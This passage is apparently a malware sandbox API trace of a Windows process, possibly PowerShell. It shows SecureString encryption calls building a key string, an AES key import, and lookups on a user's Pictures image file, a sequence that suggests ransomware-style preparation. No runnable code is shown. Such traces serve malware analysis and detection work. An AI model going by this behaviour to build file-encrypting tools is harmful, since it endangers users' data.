(in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.199] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhM뺍᳧玡") returned 0x18 [0137.199] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.199] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x633a\xb9b0\x72e7\x9e3c\x6f11\xd537\x2a29\x6fe1") returned 0x18 [0137.199] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x633a\xb9b0\x72e7\x9e3c\x6f11\xd537\x2a29\x6fe1") returned 0x18 [0137.199] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.199] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMj᳧玡") returned 0x18 [0137.199] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.199] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xc423\x6ee5\x557f\xd829\x23d9\xad08\xf786\x1c34") returned 0x18 [0137.199] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xc423\x6ee5\x557f\xd829\x23d9\xad08\xf786\x1c34") returned 0x18 [0137.199] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.199] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjF玡") returned 0x18 [0137.199] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.200] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x2042\x1a1a\xd6bd\xab7b\xf565\x9e6b\x5b05\x91b6") returned 0x18 [0137.200] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x2042\x1a1a\xd6bd\xab7b\xf565\x9e6b\x5b05\x91b6") returned 0x18 [0137.200] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.200] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFm") returned 0x18 [0137.200] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.200] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0137.200] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0137.200] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0137.200] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x20 [0137.200] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.200] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmN쿼沓ꇑ੎촢럝") returned 0x20 [0137.200] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.200] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xda35\xd992\xbcfc\x6e8b\x5222\xb2df\xdd35\xd819") returned 0x20 [0137.200] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xda35\xd992\xbcfc\x6e8b\x5222\xb2df\xdd35\xd819") returned 0x20 [0137.200] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.201] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNm쿼沓ꇑ੎촢럝") returned 0x20 [0137.201] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.201] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xee22\xd485\xf0b3\xe153\xc911\xda14\xaea\xb7cf") returned 0x20 [0137.201] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xee22\xd485\xf0b3\xe153\xc911\xda14\xaea\xb7cf") returned 0x20 [0137.201] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.201] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI沓ꇑ੎촢럝") returned 0x20 [0137.201] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.201] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xb291\x3103\xb40b\xe805\xdd6\xf594\xa41c\xc995") returned 0x20 [0137.201] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xb291\x3103\xb40b\xe805\xdd6\xf594\xa41c\xc995") returned 0x20 [0137.201] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.201] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3ꇑ੎촢럝") returned 0x20 [0137.201] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.201] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x3fe2\xb16b\x8322\xba11\x2539\xafa8\xedc3\x3f3e") returned 0x20 [0137.201] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x3fe2\xb16b\x8322\xba11\x2539\xafa8\xedc3\x3f3e") returned 0x20 [0137.201] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.201] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3Y੎촢럝") returned 0x20 [0137.201] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.201] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x447e\x9a10\x265a\x4ce9\xeb63\x3251\x2a42\x8e02") returned 0x20 [0137.201] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x447e\x9a10\x265a\x4ce9\xeb63\x3251\x2a42\x8e02") returned 0x20 [0137.202] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.202] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YT촢럝") returned 0x20 [0137.202] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.202] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x596f\x1382\xebca\x2475\xe9a9\xbb9a\x57b1\x5b51") returned 0x20 [0137.202] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x596f\x1382\xebca\x2475\xe9a9\xbb9a\x57b1\x5b51") returned 0x20 [0137.202] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.202] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZ럝") returned 0x20 [0137.202] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.202] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x6120\xe211\x4924\xf329\x5954\x1650\x625b\xd5ef") returned 0x20 [0137.202] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x6120\xe211\x4924\xf329\x5954\x1650\x625b\xd5ef") returned 0x20 [0137.202] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.202] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZl") returned 0x20 [0137.202] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.202] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0137.203] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0137.203] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0137.203] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x28 [0137.203] SystemFunction041 (in: Memory=0x8ebf884, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf884) returned 0x0 [0137.203] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYᘎ柟፽굥ᑋ") returned 0x28 [0137.203] SystemFunction040 (in: Memory=0x8ebf884, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf884) returned 0x0 [0137.203] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x440c\x1abc\x5d33\x886\x613f\xed12\x8dce\x52d5") returned 0x28 [0137.203] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x440c\x1abc\x5d33\x886\x613f\xed12\x8dce\x52d5") returned 0x28 [0137.203] SystemFunction041 (in: Memory=0x8ebf884, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf884) returned 0x0 [0137.203] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYm柟፽굥ᑋ") returned 0x28 [0137.203] SystemFunction040 (in: Memory=0x8ebf884, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf884) returned 0x0 [0137.203] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xf580\x4314\xb5cd\xf10a\x3db6\x7e34\x4979\xc8b9") returned 0x28 [0137.203] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xf580\x4314\xb5cd\xf10a\x3db6\x7e34\x4979\xc8b9") returned 0x28 [0137.203] SystemFunction041 (in: Memory=0x8ebf884, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf884) returned 0x0 [0137.204] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY፽굥ᑋ") returned 0x28 [0137.204] SystemFunction040 (in: Memory=0x8ebf884, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf884) returned 0x0 [0137.204] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x1619\x82d\x1bf3\x12ab\x9333\x75d9\x3b3a\xe1e8") returned 0x28 [0137.204] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x1619\x82d\x1bf3\x12ab\x9333\x75d9\x3b3a\xe1e8") returned 0x28 [0137.204] SystemFunction041 (in: Memory=0x8ebf884, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf884) returned 0x0 [0137.204] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0፽굥ᑋ") returned 0x28 [0137.204] SystemFunction040 (in: Memory=0x8ebf884, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf884) returned 0x0 [0137.204] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x2d34\x22d\x1f9b\x41c3\x7a3b\xdfbe\x223c\xc5f3") returned 0x28 [0137.204] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x2d34\x22d\x1f9b\x41c3\x7a3b\xdfbe\x223c\xc5f3") returned 0x28 [0137.204] SystemFunction041 (in: Memory=0x8ebf884, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf884) returned 0x0 [0137.204] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0N굥ᑋ") returned 0x28 [0137.204] SystemFunction040 (in: Memory=0x8ebf884, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf884) returned 0x0 [0137.204] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x70e7\x9778\xf41b\x35a4\x29ea\x7616\x9cd\x19e3") returned 0x28 [0137.204] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x70e7\x9778\xf41b\x35a4\x29ea\x7616\x9cd\x19e3") returned 0x28 [0137.204] SystemFunction041 (in: Memory=0x8ebf884, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf884) returned 0x0 [0137.205] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0NTᑋ") returned 0x28 [0137.205] SystemFunction040 (in: Memory=0x8ebf884, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf884) returned 0x0 [0137.205] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x46cc\x8f10\x2a8e\x376c\x9fc1\x19c4\x83b7\x6d7c") returned 0x28 [0137.205] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x46cc\x8f10\x2a8e\x376c\x9fc1\x19c4\x83b7\x6d7c") returned 0x28 [0137.205] SystemFunction041 (in: Memory=0x8ebf884, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf884) returned 0x0 [0137.206] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0NTAᑋ") returned 0x28 [0137.206] SystemFunction040 (in: Memory=0x8ebf884, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf884) returned 0x0 [0137.206] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xfed7\xc832\xd0f1\x4f86\x1ac\x2010\xca10\x76f8") returned 0x28 [0137.206] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xfed7\xc832\xd0f1\x4f86\x1ac\x2010\xca10\x76f8") returned 0x28 [0137.206] SystemFunction041 (in: Memory=0x8ebf884, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf884) returned 0x0 [0137.206] SystemFunction040 (in: Memory=0x8ebf884, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf884) returned 0x0 [0137.206] SystemFunction041 (in: Memory=0x8e316c4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e316c4) returned 0x0 [0137.207] SystemFunction040 (in: Memory=0x8e316c4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e316c4) returned 0x0 [0137.207] SystemFunction041 (in: Memory=0x8e316c4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e316c4) returned 0x0 [0137.207] SystemFunction040 (in: Memory=0x8e316c4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e316c4) returned 0x0 [0137.207] SystemFunction041 (in: Memory=0x8e316c4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e316c4) returned 0x0 [0137.207] SystemFunction040 (in: Memory=0x8e316c4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e316c4) returned 0x0 [0137.207] SystemFunction041 (in: Memory=0x8e316c4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e316c4) returned 0x0 [0137.207] SystemFunction040 (in: Memory=0x8e316c4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e316c4) returned 0x0 [0137.207] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae968*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae968*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc2, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.208] SystemFunction041 (in: Memory=0x8e316c4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e316c4) returned 0x0 [0137.208] SystemFunction040 (in: Memory=0x8e316c4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e316c4) returned 0x0 [0137.211] CryptAcquireContextW (in: phProv=0x99ae630, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x99ae630*=0x4396e78) returned 1 [0137.211] CryptImportKey (in: hProv=0x4396e78, pbData=0x6943dd8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x1, phKey=0x99aea04 | out: phKey=0x99aea04*=0x8e84df8) returned 1 [0137.212] CryptContextAddRef (hProv=0x4396e78, pdwReserved=0x0, dwFlags=0x0) returned 1 [0137.212] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0137.212] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc3, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.212] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc2, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.212] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc3, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc3, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.213] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\IwsRH9V3WgO.png" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\iwsrh9v3wgo.png")) returned 0x20 [0137.214] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\IwsRH9V3WgO.png" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\iwsrh9v3wgo.png")) returned 0x20 [0137.214] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\IwsRH9V3WgO.png", nBufferLength=0x105, lpBuffer=0x99ae058, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\IwsRH9V3WgO.png", lpFilePart=0x0) returned 0x2e [0137.214] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\IwsRH9V3WgO.png", nBufferLength=0x105, lpBuffer=0x99ae01c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\IwsRH9V3WgO.png", lpFilePart=0x0) returned 0x2e [0137.214] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc3, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.214] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\IwsRH9V3WgO.png", nBufferLength=0x105, lpBuffer=0x99ae298, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\IwsRH9V3WgO.png", lpFilePart=0x0) returned 0x2e [0137.214] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\IwsRH9V3WgO.png", nBufferLength=0x105, lpBuffer=0x99ae298, lpFilePart=0x0 | out: 